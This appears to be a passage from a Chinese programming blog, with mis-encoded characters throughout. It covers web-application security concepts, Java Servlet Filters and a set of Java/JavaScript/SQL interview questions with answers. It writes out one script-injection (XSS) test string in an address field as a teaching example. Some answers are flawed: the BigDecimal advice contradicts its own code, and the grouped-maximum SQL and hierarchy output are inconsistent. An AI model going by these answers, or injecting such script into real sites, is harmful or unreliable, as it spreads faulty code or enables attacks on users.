假如你在提交時(shí),在Address那一欄輸入:<script>alert("iwebsecurity");</script>, 當(dāng)你到達(dá)注冊的確認(rèn)頁時(shí),會有什么發(fā)生?如果確認(rèn)頁沒有做輸出驗(yàn)證處理,那很顯然會在到達(dá)確認(rèn)頁的時(shí)候出現(xiàn)一個(gè)JavaScript打出的提示框。其實(shí)這就是跨site腳本攻擊的一個(gè)小小的實(shí)例。當(dāng)然了,單純的輸入/輸出驗(yàn)證涉及的面可能夠?qū)懸恍”緯?#xff0c;努力在后續(xù)文章中給大家詳解。 ?
??
角色驗(yàn)證或認(rèn)證 ?
我們就拿CSDN來說吧,用戶有這些角色: ?
其一可以說是游客,就是瀏覽者沒有登錄時(shí)的角色; ?
其二是免費(fèi)的注冊用戶;或許將來CSDN深入發(fā)展了,業(yè)務(wù)有所更新,還會出現(xiàn)收費(fèi)的注冊用戶。 ?
以上只是用戶角色,那在CSDN公司內(nèi)部還會有管理員角色,還有可能管理員又可以根據(jù)板塊分為各種不同的角色。大家看到了吧,你天天訪問的CSDN一共可能有多少角色? ?
?
接下來的問題就是權(quán)限問題了,為什么會有角色? ?
就是為了控制權(quán)限的。每種角色都有自己特定的與公共的權(quán)限,這些權(quán)限的邏輯關(guān)系是相當(dāng)復(fù)雜的,如果一個(gè)Web應(yīng)用在角色上沒有一個(gè)詳細(xì)的合理的設(shè)計(jì),將會給開發(fā)人員帶來無限痛苦和麻煩。 ?
那現(xiàn)在我要問幾個(gè)問題:你能保證每種角色只能做其份內(nèi)的事兒?你是如何去保證的呢?方法可靠嗎?有沒有漏洞?...... 這,就是我要說的角色驗(yàn)證或認(rèn)證。 ?
?
BTW(By the way順便說一下):為什么我會說驗(yàn)證或認(rèn)證呢? ?
你可以這么理解,角色性存在于兩個(gè)階段: ?
其一進(jìn)入階段,比如你登錄的那一瞬間,你進(jìn)入了一個(gè)特定的角色; ?
另一個(gè)階段就是維持階段,你如何確保你登錄后總是以登錄時(shí)的身份在操作呢? ?
那前者可以說是:認(rèn)證,后者就是驗(yàn)證了。(有點(diǎn)羅嗦不?) ?
?
給一個(gè)角色認(rèn)證/驗(yàn)證方面的虛擬案例,比如:一個(gè)在線電影服務(wù)提供商,會免費(fèi)給您開一個(gè)試用角色,如果這試用角色驗(yàn)證不當(dāng),可能會導(dǎo)致用戶權(quán)限提升而成為一個(gè)合法的收費(fèi)用戶,而這個(gè)收費(fèi)用戶你往往卻收不到他的任何費(fèi)用。 ?
??
所有權(quán)驗(yàn)證 ?
這個(gè)問題的存在也是基于角色的,只不過它所關(guān)心的是同級別的角色之間的權(quán)限問題。 ?
就拿CSDN來說吧,我是CSDN的一個(gè)免費(fèi)用戶,你也是。 ?
?
現(xiàn)在的問題是:我可以替你操作嗎,我可以替你發(fā)表文章嗎?我能修改你的個(gè)性設(shè)置嗎? ?
如果不能,CSDN是如何實(shí)現(xiàn)的?雖然你和我都是普通用戶,但是你有你的隱私我也有我的隱私,如何保證嚴(yán)格的所有權(quán)驗(yàn)證就顯得尤為關(guān)鍵了。 ?
?
比較簡單吧,這就是我所說的所有權(quán)驗(yàn)證。 ?
??
我可以很自信的告訴你,只要是Web應(yīng)用安全性問題,它逃不出在這三大部分。 ?
可能你還無法把形形色色的Web應(yīng)用安全性問題與這三個(gè)部分對應(yīng)并合理的解釋清楚,但是確實(shí)只有這么簡單的幾個(gè)部分。如果您有疑問,可以以評論的方式提問。我可能會回復(fù),也可能會以另一篇文章的形式出現(xiàn),以供大家參考。 ?
??
問題9、Filter過濾器功能和用法有哪些,是什么? ?
??
Filter過濾器: ?
Filter與Servlet相似,過濾器是一些Web應(yīng)用程序組件,可以綁定到一個(gè)Web應(yīng)用程序中。但是與其他Web應(yīng)用程序組件不同的是,過濾器是"鏈"在容器的處理過程中的。這就意味著它們會在Servlet處理器之前訪問一個(gè)進(jìn)入的請求,并且在外發(fā)響應(yīng)信息返回到客戶前訪問這些響應(yīng)信息。這種訪問使得過濾器可以檢查并修改請求和響應(yīng)的內(nèi)容。 ?
它與Servlet的區(qū)別在于:它不能直接向用戶生成響應(yīng)。 ?
完整的Filter流程是: ?
Filter對用戶請求進(jìn)行預(yù)處理,接著將請求交給Servlet進(jìn)行處理并生成響應(yīng),最后Filter再對服務(wù)器響應(yīng)進(jìn)行后處理。 ?
??
Filter作用: ?
在HttpServletRequest到達(dá)Servlet之前,攔截客戶的HttpServletRequest請求 ?
根據(jù)需要檢查HttpServletRequest,也可以對HttpServletRequest頭和數(shù)據(jù)進(jìn)行修改 ?
在HttpServletResponse到達(dá)客戶端之前,攔截HttpServletResponse ?
根據(jù)需要檢查HttpServletResponse,也可以對HttpServletResponse頭和數(shù)據(jù)進(jìn)行修改 ?
Filter可以攔截多個(gè)請求和響應(yīng),一個(gè)請求和響應(yīng)可以被多個(gè)Filter攔截 ?
??
Filter種類: ?
用戶授權(quán)的Filter:Filter負(fù)責(zé)檢查用戶的請求,根據(jù)請求過濾用戶的非法請求 ?
日志Filter:詳細(xì)記錄用戶的請求信息 ?
負(fù)責(zé)解碼的Filter:對非標(biāo)準(zhǔn)編碼的解碼 ?
能改變XML內(nèi)容的XSLT Filter等 ?
??
Filter的實(shí)現(xiàn): ?
創(chuàng)建Filter處理類:Filter處理類必須實(shí)現(xiàn)javax.servlet.Filter接口。該接口有3個(gè)方法: ?
public void init(FilterConfig arg0) throws ServletException ?
用于初始化Filter,只會在Web容器啟動的時(shí)候自動調(diào)用而且只調(diào)用一次,FilterConfig 封裝了Filter配置參數(shù)(init-param)內(nèi)容信息,初始化的時(shí)候可以直接拿出來 ?
在acegi安全認(rèn)證中FilterConfig封裝的是被代理對象 ?
public void doFilter(ServletRequest req, ServletResponse res,FilterChain chain) throws IOException,ServletException ?
用于實(shí)現(xiàn)過濾的方法,該方法會在每次請求中調(diào)用,或每次響應(yīng)中調(diào)用 ?
ServletRequest 封裝了請求信息,ServletResponse 封裝了響應(yīng)信息 ?
在chain.doFilter(req, res);代碼執(zhí)行之前進(jìn)行的處理是對請求的預(yù)處理,在chain.doFilter(req, res);代碼執(zhí)行之后執(zhí)行的處理是對響應(yīng)進(jìn)行的后處理,一般擁有權(quán)限的才調(diào)用chain.doFilter(req, res);方法或者跳轉(zhuǎn)到錯誤頁面 ?
public void destroy() ??
用于進(jìn)行資源釋放,當(dāng)過濾處理完畢后會調(diào)用該方法。 ?
Web.xml中配置Filter: ?
配置Filter名,如下: ?
<filter> ? ?
<filter-name>myFilter</filter-name> ?
<filter-class>com.lanp.MyFilter</filter-class> ?
<init-param> ?
<param-name>super_role</param-name> ?
<param-value>lanp</param-value> ?
</init-param> ?
</filter> ?
配置Filter名,如下: ?
<filter-mapping> ?
<filter-name>myFilter</filter-name> ?
<url-pattern>/*</url-pattern> ?
</filter-mapping> ?
??
2013年9月1日:易度軟件開發(fā) ?
??
問題1、如何格式化double數(shù)據(jù),保留小數(shù)點(diǎn)后x位,有多少種方式? ?
??
這里我們拿 Math.PI 來討論,保留兩位小數(shù)點(diǎn) 。(PI = 3.141592653589793)圓周率π ?
??
=================================================== ?
【方案1】 ?
Math.round( Math.PI * 100 ) /100.0 ?
??
Math.PI * 100 = 314.1592653589793 ?
Math.round(314.1592653589793) = 314 ?
314 / 100.0 = 3.14 (注意這里要除以 100.0 ,如果除以100的話,會是整除) ?
=================================================== ?
【方案2】 ?
String.format( "%.2f", Math.PI ) ?
??
String類的靜態(tài)方法 ?
=================================================== ?
【方案3】 ?
new DecimalFormat("#.00").format(Math.PI) ?
??
java.text.DecimalFormat ?
=================================================== ?
【方案4】 ?
new BigDecimal(Math.PI).setScale(2, BigDecimal.ROUND_HALF_UP).doubleValue() ?
??
特殊說明下,要用BigDecimal(String s)這個(gè)構(gòu)造方法,不能直接傳double的參數(shù),不然四舍五入有問題的 ?
java.math.BigDecimal ?
=================================================== ?
【方案5】 ?
NumberFormat nf = NumberFormat.getNumberInstance(); ??
nf.setMaximumFractionDigits(2); ?
nf.format(Math.PI); ?
??
java.text.NumberFormat ?
=================================================== ?
【方案6】 ?
先轉(zhuǎn)字符串,然后 substring截取 ?
??
截取小數(shù)點(diǎn)后N位(先定位小數(shù)點(diǎn)位置):得到i ?//i表示小數(shù)點(diǎn)位置+N ?
定位小數(shù)點(diǎn)截取subString(0,i+1); ? ? ? ? ? ? ? ?//差不多這個(gè)意思... ?
=================================================== ?
??
??
問題2、JAVA實(shí)現(xiàn)從10~50中隨機(jī)生成50個(gè)數(shù),統(tǒng)計(jì)出現(xiàn)的數(shù)字及次數(shù),輸出出現(xiàn)最多的次數(shù)及對應(yīng)的數(shù)字,按數(shù)字升序排列? ?
??
public static void main(String[] args) { ?
? ? ? ? TreeMap<Integer, Integer> map = new TreeMap<Integer, Integer>(); ?
? ? ? ? for (int i = 0; i < 50; i++) { ?
? ? ? ? ? ? // random*41就是范圍從0-40內(nèi),+10為10到50 ?
? ? ? ? ? ? int number = (int) (Math.random() * 41) + 10; ?
? ? ? ? ? ? System.out.print(number + " "); ?
? ? ? ? ? ? ??
? ? ? ? ? ? //統(tǒng)計(jì)次數(shù),如果map里存在了+1,不存在則存入 ?
? ? ? ? ? ? if (map.containsKey(number)) { ?
? ? ? ? ? ? ? ? map.put(number, map.get(number) + 1); ?
? ? ? ? ? ? } else { ?
? ? ? ? ? ? ? ? map.put(number, 1); ?
? ? ? ? ? ? } ?
? ? ? ? } ?
? ? ? ? ??
? ? ? ? System.out.println(); ?
? ? ? ? Collection cols = map.values();//獲取map的鍵值對里值的集合 ?
? ? ? ? int max = Collections.max(cols);//獲取最大次數(shù) ?
? ? ? ? ??
? ? ? ? List list = new ArrayList(); ?
??
? ? ? ? Iterator it = map.entrySet().iterator();//獲取迭代器 ?
??
? ? ? ? while (it.hasNext()) { ?
? ? ? ? ? ? Map.Entry entry = (Map.Entry) it.next(); ?
? ? ? ? ? ? Integer key = (Integer) entry.getKey(); ?
? ? ? ? ? ? Integer val = (Integer) entry.getValue(); ?
? ? ? ? ? ? ??
? ? ? ? ? ? //如果與最大次數(shù)相同則增加到集合中 ?
? ? ? ? ? ? if (val == max) { ?
? ? ? ? ? ? ? ? list.add(key); ?
? ? ? ? ? ? } ?
? ? ? ? ? ? System.out.println(key + "出現(xiàn)的次數(shù)為:" + val); ?
? ? ? ? } ?
? ? ? ? ??
? ? ? ? System.out.println("出現(xiàn)的最大次數(shù)為:" + max); ?
??
? ? ? ? Iterator maxNum = list.iterator(); ?
? ? ? ? while (maxNum.hasNext()) { ?
? ? ? ? ? ? System.out.println("這些數(shù)字是:" + maxNum.next()); ?
? ? ? ? } ?
? ? } ?
??
問題3、Final、finally、finalize的區(qū)別? ?
??
Final用于聲明屬性,方法和類,分別表示屬性不可變,方法不可覆蓋,類不可繼承。 ??
因此一個(gè)類不能既被聲明為 abstract的,又被聲明為final的。 ?
將變量或方法聲明為final,可以保證它們在使用中不被改變。 ?
被聲明為final的變量必須在new一個(gè)對象時(shí)初始化(即只能在聲明變量或構(gòu)造器或代碼塊內(nèi)初始化),而在以后的引用中只能讀取,不可修改。 ?
被聲明為final的方法也同樣只能使用,不能覆蓋(重寫)。 ?
?
finally是異常處理語句結(jié)構(gòu)的一部分,表示總是執(zhí)行。 ?
??
finalize是Object類的一個(gè)方法,在垃圾收集器執(zhí)行的時(shí)候會調(diào)用被回收對象的此方法,可以覆蓋此方法提供垃圾收集時(shí)的其他資源回收,例如關(guān)閉文件等。JVM不保證此方法總被調(diào)用。 ?
方法名,Java 技術(shù)允許使用 finalize() 方法在垃圾收集器將對象從內(nèi)存中清除出去之前做必要的清理工作。這個(gè)方法是由垃圾收集器在確定這個(gè)對象沒有被引用時(shí)對這個(gè)對象調(diào)用的。 ?
它是在 Object 類中定義的,因此所有的類都繼承了它。 ?
子類覆蓋 finalize() 方法以整理系統(tǒng)資源或者執(zhí)行其他清理工作。finalize() 方法是在垃圾收集器刪除對象之前對這個(gè)對象調(diào)用的。 ?
注意:finalize不一定被JVM調(diào)用,只有當(dāng)垃圾回收器要清除垃圾時(shí)才被調(diào)用。 ?
?
問題4、如何將int、char、boolean類型的數(shù)據(jù)轉(zhuǎn)換為字符串類型? ?
??
String.valueOf(i); ?
Integer.toString(i); Character.toString(i);Boolean.toString(i); ?
String s = "" + i; ?
?
問題5、如何將字符串類型轉(zhuǎn)換為int、boolean類型? ?
?
Integer.parseInt(String); ? ?
Integer.valueOf(String).intValue(); ?
?
Boolean.parseBoolean("true"); ?
Boolean.valueOf("true").booleanValue(); ?
?
?
問題6、以下代碼的運(yùn)行結(jié)果? ?
?
String a = "xyz"; ?
? ? ? ? String b = "xyz"; ?
? ? ? ? String c = new String("xyz"); ?
? ? ? ? String k = "xy" + "z"; ?
? ? ? ? ??
? ? ? ? System.out.println(a == b); ? ? //true ?
? ? ? ? System.out.println(b == c); ? ? //false ?
? ? ? ? System.out.println(b.equals(c));//true ?
? ? ? ? System.out.println(a == k); ? ? //true ?
?System.out.println(a.equals(k));//true ?
?
問題7、以下代碼會發(fā)生什么問題? ?
?
for (double k = 0.5;; k = k + 0.1) { ?
? ? ? ? ? ? if (k == 1) { ?
? ? ? ? ? ? ? ? break; ?
? ? ? ? ? ? } ?
? ? ? ? } ?
?
Double會發(fā)生精度丟失問題,造成死循環(huán) ?
?
問題8、概述MVC體系結(jié)構(gòu)? ?
?
MVC是Model-View-Controller的簡寫。 ?
M代表業(yè)務(wù)邏輯層(通過JavaBean,EJB組件實(shí)現(xiàn))。 ?
V是視圖層(由JSP頁面產(chǎn)生)。 ?
C屬于控制層(一般可以用基礎(chǔ)的Servlet實(shí)現(xiàn),也可用Struts等開源框架實(shí)現(xiàn)) ?
通過這種設(shè)計(jì)模型把應(yīng)用邏輯,處理過程和顯示邏輯分成不同的組件實(shí)現(xiàn)。這些組件可以進(jìn)行交互和重用。 ?
??
問題9、現(xiàn)有一個(gè)頁面,如何記錄該頁面的訪問次數(shù),有哪些實(shí)現(xiàn)方式? ?
??
使用監(jiān)聽器當(dāng)Session建立時(shí)sessionCreated(),存放在Application里的訪問次數(shù)+1 ?
??
使用JavaScript在頁面打開時(shí),往后臺發(fā)送一個(gè)請求,瀏覽次數(shù)+1 ?
window.οnlοad=function(){ ?
// 此處發(fā)送異步請求,瀏覽次數(shù)+1 ?
} ?
??
問題10、JSP標(biāo)準(zhǔn)標(biāo)簽庫中常用的標(biāo)簽有哪些? ?
??
< c:out>、<c:if>、<c:choose>、<c:forEach>、<c:url>、<c:redirect>、<c:param> ?
??
問題11、頁面中html代碼片段如下,請問 infoArea 的背景顏色是什么,并請解析原因? ?
??
<style type="text/css"> ?
? ? ? ? .green {background-color:green} ?
</style> ?
?
<div id="infoArea" class="green" ??
style="background-color:red; width:100px; height:50px"></div> ?
??
infoArea的背景色是紅色,因?yàn)閟tyle的權(quán)重是1000,而類選擇器的權(quán)重僅為10,優(yōu)先級判斷為style ?
??
CSS規(guī)范為不同類型的選擇器定義了特殊性權(quán)重,特殊性權(quán)重越高,樣式會被優(yōu)先應(yīng)用。 ?
權(quán)重設(shè)定如下: ??
html選擇器,權(quán)重為1 ?
類選擇器,權(quán)重為10 ?
id選擇器,權(quán)重為100 ?
內(nèi)聯(lián)樣式style,權(quán)重為1000 ?
這里還有一種情況:在html標(biāo)簽中直接使用style屬性,這里的style屬性的權(quán)重為1000; ?
??
問題12、寫一段js腳本將 infoArea的高度改為200px。最好能使用jquery語法? ?
??
$(function(){ ?
? ? ? ? $("#infoArea").css({"height":"200px"}); ?
}); ?
??
問題13、頁面上有2個(gè)按鈕Button1和Button2;當(dāng)點(diǎn)擊Button1時(shí),顯示div1,隱藏div2;當(dāng)點(diǎn)擊Button2時(shí),顯示div2,隱藏div1,如何實(shí)現(xiàn)? ?
??
<input type="button" id="Button1" value="Button1"> ?
<input type="button" id="Button2" value="Button2"> ?
<div id="div1">div1</div> ?
<div id="div2">div2</div> ?
??
??
$(function(){ ?
? ? ? ? $("#Button1").click(function(){ ?
? ? ? ? ? ? $("#div2").hide(); ?
? ? ? ? ? ? $("#div1").show(); ?
? ? ? ? }); ?
? ? ? ? $("#Button2").click(function(){ ?
? ? ? ? ? ? $("#div1").hide(); ?
? ? ? ? ? ? $("#div2").show(); ?
? ? ? ? }); ?
? ? }); ?
??
問題14、使用JSTL標(biāo)簽,將dataList數(shù)據(jù)以表格方式展現(xiàn)。(假設(shè)標(biāo)簽庫已引入,<%@taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core"%>) ?
??
<% ?
? ? ? ? ? ? List<Map<String, Object>> dataList = new ArrayList<Map<String, Object>>(); ?
??
? ? ? ? ? ? Map<String, Object> dataMap = new HashMap<String, Object>(); ?
? ? ? ? ? ? dataList.add(dataMap); ?
? ? ? ? ? ? dataMap.put("ID", "1001"); ?
? ? ? ? ? ? dataMap.put("NAME", "張三"); ?
? ? ? ? ? ? dataMap.put("SCORES", 90); ?
??
? ? ? ? ? ? dataMap = new HashMap<String, Object>(); ?
? ? ? ? ? ? dataList.add(dataMap); ?
? ? ? ? ? ? dataMap.put("ID", "1002"); ?
? ? ? ? ? ? dataMap.put("NAME", "李四"); ?
? ? ? ? ? ? dataMap.put("SCORES", 95); ?
? ? ? ? ? ? ??
? ? ? ? ? ? pageContext.setAttribute("dataList",dataList); ?
? ? ? ? %> ?
??
...... ?
??
工號 ?名稱 ?分?jǐn)?shù) ?
1001 ? ?張三 ?90 ?
...... ?...... ?...... ?
??
代碼如下: ?
??
<table border="1" width="50%"> ?
? ? ? ? ? ? <tr> ?
? ? ? ? ? ? ? ? <td>工號</td><td>姓名</td><td>分?jǐn)?shù)</td> ?
? ? ? ? ? ? </tr> ?
? ? ? ? ? ? <c:forEach var="dataMap" items="${dataList}"> ?
? ? ? ? ? ? ? ? <c:forEach var="data" items="${dataMap}"> ?
? ? ? ? ? ? ? ? ? ? <c:if test="${data.key=='ID'}"> ?
? ? ? ? ? ? ? ? ? ? ? ? <c:set var="id" value="${data.value}"></c:set> ?
? ? ? ? ? ? ? ? ? ? </c:if> ?
? ? ? ? ? ? ? ? ? ? <c:if test="${data.key=='NAME'}"> ?
? ? ? ? ? ? ? ? ? ? ? ? <c:set var="name" value="${data.value}"></c:set> ?
? ? ? ? ? ? ? ? ? ? </c:if> ?
? ? ? ? ? ? ? ? ? ? <c:if test="${data.key=='SCORES'}"> ?
? ? ? ? ? ? ? ? ? ? ? ? <c:set var="scores" value="${data.value}"></c:set> ?
? ? ? ? ? ? ? ? ? ? </c:if> ?
? ? ? ? ? ? ? ? </c:forEach> ?
? ? ? ? ? ? ? ? <tr> ?
? ? ? ? ? ? ? ? ? ? <td>${id}</td><td>${name}</td><td>${scores}</td> ?
? ? ? ? ? ? ? ? </tr> ?
? ? ? ? ? ? </c:forEach> ?
? ? ? ? </table> ?
??
問題15、數(shù)據(jù)庫編程題? ?
??
表名:g_cardapply ?
字段(字段名/類型/長度): ?
g_applyno ? ? ? varchar ? ? 8;//申請單號(關(guān)鍵字) ?
g_applydate ? ? bigint ? ? ?8;//申請日期 ?
g_state ? ? ? ? varchar ? ? 2;//申請狀態(tài) ?
? ?
表名:g_cardapplydetail ?
字段(字段名/類型/長度): ?
g_applyno ? ? ? varchar ? ? 8;//申請單號(關(guān)鍵字) ?
g_name ? ? ? ? ?varchar ? ? 30;//申請人姓名 ?
g_idcard ? ? ? ?varchar ? ? 18;//申請人身份證號 ?
g_state ? ? ? ? varchar ? ? 2;//申請狀態(tài) ?
??
其中,兩個(gè)表的關(guān)聯(lián)字段為申請單號。 ?
??
建表語句: ?
??
DROP DATABASE IF EXISTS yidu; ?
CREATE DATABASE yidu; ?
??
USE yidu; ?
??
DROP TABLE IF EXISTS g_cardapply; ?
CREATE TABLE g_cardapply( ?
g_applyno VARCHAR(8), ?
g_applydate BIGINT(8), ?
g_state VARCHAR(2), ?
PRIMARY KEY ?(g_applyno) ?
); ?
??
DROP TABLE IF EXISTS g_cardapplydetail; ?
CREATE TABLE g_cardapplydetail( ?
g_applyno VARCHAR(8), ?
g_name VARCHAR(30), ?
g_idcard VARCHAR(18), ?
g_state VARCHAR(2), ?
PRIMARY KEY ?(g_applyno) ?
); ?
??
INSERT INTO g_cardapply values("12345677",13780512,"01"); ?
INSERT INTO g_cardapply values("12345678",13780512,"02"); ?
INSERT INTO g_cardapply values("12345679",13780512,"01"); ?
INSERT INTO g_cardapply values("12345680",13780512,"02"); ?
??
INSERT INTO g_cardapplydetail values("12345677","陳太上","12345678910","01"); ?
INSERT INTO g_cardapplydetail values("12345678","陳太上","12345678910","02"); ?
INSERT INTO g_cardapplydetail values("12345679","李小龍","12345678911","01"); ?
INSERT INTO g_cardapplydetail values("12345680","李小龍","12345678911","02"); ?
??
SELECT * FROM g_cardapply; ?
SELECT * FROM g_cardapplydetail; ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
select from_unixtime(1378051200000/1000);#BIGINT轉(zhuǎn)datetime ?
select UNIX_TIMESTAMP('2013-09-02')/100;#time轉(zhuǎn)BIGINT ?
??
查詢身份證號碼為440401430103082的申請日期 ?
??
SELECT gc.g_applydate ??
FROM g_cardapply gc,g_cardapplydetail gcd ??
WHERE gc.g_applyno = gcd.g_applyno AND ??
gcd.g_idcard = '440401430103082'; ?
??
查詢同一個(gè)身份證號碼有兩條以上記錄的身份證號碼及記錄個(gè)數(shù) ?
??
SELECT g_idcard,count(g_idcard) ??
FROM g_cardapplydetail ??
group by g_idcard ??
having count(g_idcard)>=2; ?
??
將身份證號碼為440401430103082的記錄在兩個(gè)表中的申請狀態(tài)均改為07; ?
??
UPDATE g_cardapply SET g_state='07' ??
WHERE g_applyno in ??
(SELECT g_applyno FROM g_cardapplydetail ??
WHERE g_idcard='440401430103082'); ?
??
刪除g_cardapplydetail表中所有姓李的記錄 ?
??
DELETE FROM g_cardapplydetail ??
WHERE g_name like '李%'; ?
??
問題16、數(shù)據(jù)庫編程題,學(xué)生表(student{studentId, groupId, studentName, score})和興趣小組表(study_group{groupId,groupName})關(guān)聯(lián)如下圖。 ?
??
學(xué)校每個(gè)學(xué)生都可以選擇參加一個(gè)興趣小組(也可以不參加)。問: ?
建表語句: ?
DROP DATABASE IF EXISTS yidu; ?
CREATE DATABASE yidu; ?
??
USE yidu; ?
??
DROP TABLE IF EXISTS study_group; ?
CREATE TABLE study_group( ?
groupId VARCHAR(38), ?
groupName VARCHAR(30), ?
PRIMARY KEY ?(groupId) ?
); ?
??
DROP TABLE IF EXISTS student; ?
CREATE TABLE student( ?
studentId VARCHAR(38), ?
groupId VARCHAR(38), ?
studentName VARCHAR(10), ?
score NUMERIC(4,1), ?
PRIMARY KEY ?(studentId), ?
CONSTRAINT fk_gid FOREIGN KEY(groupId) REFERENCES study_group(groupId) ?
); ?
??
??
INSERT INTO study_group values("123","一組"); ?
INSERT INTO study_group values("124","二祖"); ?
??
INSERT INTO student values("1","123","陳一",90.9); ?
INSERT INTO student values("2","123","陳二",81.9); ?
INSERT INTO student values("3","124","陳三",93.9); ?
INSERT INTO student values("4","124","陳四",70.9); ?
INSERT INTO student values("5",null,"陳五",60.9); ?
INSERT INTO student values("6",null,"陳六",80.9); ?
??
SELECT * FROM study_group; ?
SELECT * FROM student; ?
??
用一條SQL查出各小組成績最優(yōu)秀的學(xué)生,需要查出<小組名稱、學(xué)生名稱、成績> ?
??
SELECT sgp.groupName,stu.studentName,max(stu.score) ??
FROM student stu,study_group sgp ??
WHERE stu.groupId = sgp.groupId ??
GROUP BY sgp.groupName; ?
??
??
??
將所有沒有參加小組的學(xué)生的活動成績更新為0 ?
??
UPDATE student set score = 0 ??
WHERE groupId IS NULL; ?
??
用一條sql查出所有學(xué)生參加興趣小組的情況,需要查出<學(xué)生名稱、小組名稱>如果學(xué)生沒有參加小組,則小組名稱返回“沒有參加小組” ?
??
SELECT stu.studentName,IFNULL(sgp.groupName ,'沒有參加小組') ?
FROM student stu LEFT JOIN study_group sgp ?
on stu.groupId = sgp.groupId; ?
??
問題17、用程序在控制臺打印出所有由1、2、3、4組合出來的4位數(shù),不可重復(fù)出現(xiàn)同一個(gè)數(shù)字 ?
??
/** ?
? ? ? ? ?* 本法是輸入1,2,3,4不重復(fù)的4位數(shù) ?
? ? ? ? ?*一個(gè)循環(huán)是代表一個(gè)位數(shù),在最后一層中做個(gè)判斷并輸出,就可以顯示了。 ?
? ? ? ? ?*/ ?
? ? ? ? for (int i = 1; i < 5; i++) { ?
? ? ? ? ? ? for (int j = 1; j < 5; j++) { ?
? ? ? ? ? ? ? ? for (int m = 1; m < 5; m++) { ?
? ? ? ? ? ? ? ? ? ? for (int n = 1; n < 5; n++) { ?
? ? ? ? ? ? ? ? ? ? ? ? if (i != j && i != m && i != n && j != m && j != n ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? && m != n) { ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? System.out.println(i + "" + j + "" + m + "" + n); ?
? ? ? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? } ?
? ? ? ? } ?
??
問題18、請用jQuery或任一AJAX框架寫一個(gè)異步提交請求,要求有成功處理回調(diào)函數(shù)、失敗回調(diào)函數(shù),使用json格式傳遞數(shù)據(jù)。(具體業(yè)務(wù)參數(shù)、業(yè)務(wù)邏輯可留空) ?
??
回調(diào)函數(shù): ?
代表請求返回內(nèi)容的 data; 代表請求狀態(tài)的 textStatus 對象和 XMLHttpRequest 對象 ?
?
$.post(url,{"username":"java"},function(backData,status,xhr){ ?
? ? ? ? ? ? if(status=="success"){ ?
? ? ? ? ? ? ? ? ??
? ? ? ? ? ? }else{ ?
? ? ? ? ? ? ? ? ??
? ? ? ? ? ? } ?
? ? ? ? }); ?
??
??
問題19、將頁面所有table邊框顏色設(shè)置為#66FFCC,table里面的th元素里的文字大小設(shè)為13px,td里的文字大小設(shè)為12px? ?
??
<style type="text/css"> ?
? ? ? ? ? ? table{border-color: #66FFCC} ?
? ? ? ? ? ? table th{font-size: 13px} ?
? ? ? ? ? ? table td{font-size: 12px} ?
? ? ? ? </style> ?
??
問題20、將頁面id為form1的Form表單背景顏色設(shè)為#66FFCC? ?
??
??
??
<style type="text/css"> ?
? ? ? ? ? ? #form1{background: #66FFCC} ?
? ? ? ? </style> ?
??
問題21、要求用js將下列html中class=”a”的<li/>標(biāo)簽的innerText填充為”hello world”。 ?
??
??
??
function add(){ ?
? ? ? ? ? ? var lis = document.getElementsByTagName("li"); ?
??
? ? ? ? ? ? for(var i=0; i <lis.length; i++){ ?
? ? ? ? ? ? ? ? if(lis[i].className=="a"){ ?
? ? ? ? ? ? ? ? ? ? lis[i].innerText="hello world"; ?
? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? } ?
? ? ? ? } ?
??
? ? ? ? add(); ?
??
問題22、請用流復(fù)制的方式,完成以下文件復(fù)制方法,不許使用第三方類庫? ?
??
public void copyFile(String sourceFilePath, String targetFilePath) throws Exception { ?
??
? ? ? ? FileInputStream fis=new FileInputStream(sourceFilePath); ?
? ? ? ? FileOutputStream fos=new FileOutputStream(targetFilePath); ?
? ? ? ? ??
? ? ? ? byte[] byt=new byte[1024];//緩沖區(qū) ?
? ? ? ? int len=0; ?
? ? ? ? ??
? ? ? ? while((len=fis.read(byt))>0){ ?
? ? ? ? ? ? fos.write(byt,0,len); ?
? ? ? ? } ?
? ? ? ? ??
? ? ? ? fis.close(); ?
? ? ? ? fos.close(); ?
} ?
??
問題23、用程序在控制臺輸出101-199之間所有質(zhì)數(shù)(大于1且不能被1或自己以外的自然數(shù)? ?
??
for (int i = 101; i < 200; i++) { ?
? ? ? ? ? ? int a = 0; ?
? ? ? ? ? ? for (int j = 1; j <= i; j++) { ?
? ? ? ? ? ? ? ? if (i % j == 0) { ?
? ? ? ? ? ? ? ? ? ? //第一次是被1整除,第二次是被自己整除 ?
? ? ? ? ? ? ? ? ? ? a++; ?
? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? if (i == j && a == 2) { ?
? ? ? ? ? ? ? ? ? ? System.out.println(i); ?
? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? } ?
? ? ? ? } ?
??
問題24、數(shù)據(jù)庫編程題 ?
有一張部門表sec_dept ?
dept_id varchar2(38) ? ?dept_name varchar2(100) parent_id varchar(38) ?
部門id ? ?部門名稱 ? ?上級部門id ?
??
建表語句: ?
DROP TABLE sec_dept; ?
CREATE TABLE sec_dept( ?
dept_id VARCHAR2(38), ?
dept_name VARCHAR2(100), ?
parent_id VARCHAR(38), ?
PRIMARY KEY (dept_id) ?
); ?
??
INSERT INTO sec_dept values('1','部門A',null); ?
INSERT INTO sec_dept values('2','部門B',null); ?
INSERT INTO sec_dept values('3','部門C','1'); ?
INSERT INTO sec_dept values('4','部門D','2'); ?
INSERT INTO sec_dept values('5','部門E','3'); ?
INSERT INTO sec_dept values('6','部門F','4'); ?
??
SELECT * FROM sec_dept; ?
??
??
如果該部門為頂級部門則parent_id為null。現(xiàn)要求: ?
用一條sql從頂級部門開始遞歸查出所有部門,并展示各個(gè)部門的級別。Sql可以寫plsql或tsql。 ?
結(jié)果格式如: ?
部門名稱 ? 級別 ?
部門A ? ? ?1 ?
部門B ? ? ?2 ?
部門C ? ? ?2 ?
部門D ? ? ?3 ?
部門E ? ? ?3 ?
部門F ? ? ?3 ?
??
??
select dept_name,parent_id from sec_dept ??
start with dept_id in (select dept_id from sec_dept where parent_id is null) ??
connect by prior dept_id=parent_id; ?
??
